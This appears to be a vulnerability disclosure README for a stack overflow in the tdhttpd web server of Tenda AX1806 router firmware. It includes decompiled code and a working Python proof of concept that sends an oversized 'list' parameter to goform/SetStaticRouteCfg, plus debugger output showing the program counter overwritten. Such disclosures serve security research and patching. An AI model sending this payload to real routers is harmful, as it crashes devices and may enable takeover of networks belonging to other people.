d1tto add A18 and AX1806 ... on May 26 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the `fromSetRouteStatic` function, which can be accessed via the URL `goform/SetStaticRouteCfg` .

```
Decompile: fromSetRouteStatic - (tdhttpd)
1
2  void fromSetRouteStatic(undefined4 param_1)
3
4  {
5    undefined4 uVar1;
6    char acStack272 [260];
7
8    memset(acStack272,0,0x100);
9    uVar1 = FUN_000295c8(param_1,"list",&DAT_001c2cf0);
10   FUN_000519b8("adv.staticroute",uVar1,0x7e);
11   sprintf(acStack272,"advance_type=%d",8);
12   send_msg_to_netctrl(0x15,acStack272);
13   FUN_00029750(param_1,
14                "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Co
                  ntrol: no-cache\n\n"
15               );
16   FUN_00029750(param_1,"{\"errCode\":%d}",0);
17   FUN_00029ee0(param_1,200);
18   return;
19 }
20
```

In function `FUN_000519b8`, the function `sscanf` is called to split it and copy to stack buffer without checking its length.

```
    iVar5 = __isoc99_sscanf(param_2,"%[^,],%[^,],%[^,],%s",auStack1696,auStack1680,auStack1664,
                            acStack1648);
```

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"list": b'A'*0x400+b',A,A,A'
}
res = requests.post("http://127.0.0.1/goform/SetStaticRouteCfg", data=data)
print(res.content)
```

```
$r0  : 0x00000000  →  0x00000000
$r1  : 0x00000000  →  0x00000000
$r2  : 0x00000000  →  0x00000000
$r3  : 0x00000000  →  0x00000000
$r4  : 0x41414141  →  0x41414141
$r5  : 0x41414141  →  0x41414141
$r6  : 0x41414141  →  0x41414141
$r7  : 0x41414141  →  0x41414141
$r8  : 0x00000000  →  0x00000000
$r9  : 0x41414141  →  0x41414141
$r10 : 0x001ce4cd  →  0x2e766461  →  0x2e766461
$r11 : 0xfffee570  →  0x41414100  →  0x41414100
$r12 : 0x00000000  →  0x00000000
$sp  : 0xfffee518  →  0x41414141  →  0x41414141
$lr  : 0x00051980  →  0xe3500001  →  0xe3500001
$pc  : 0x41414140  →  0x41414140
$cpsr: [NEGATIVE zero CARRY overflow interrupt fast THUMB]
```

```
0xfffee518|+0x0000: 0x41414141  →  0x41414141    ← $sp
0xfffee51c|+0x0004: 0x41414141  →  0x41414141
0xfffee520|+0x0008: 0x41414141  →  0x41414141
0xfffee524|+0x000c: 0x41414141  →  0x41414141
0xfffee528|+0x0010: 0x41414141  →  0x41414141
0xfffee52c|+0x0014: 0x41414141  →  0x41414141
0xfffee530|+0x0018: 0x41414141  →  0x41414141
0xfffee534|+0x001c: 0x41414141  →  0x41414141
```

```
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
```

```
[#0] Id 1, stopped 0x41414140 in ?? (), reason: SIGSEGV
```

```
gef➤  c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
```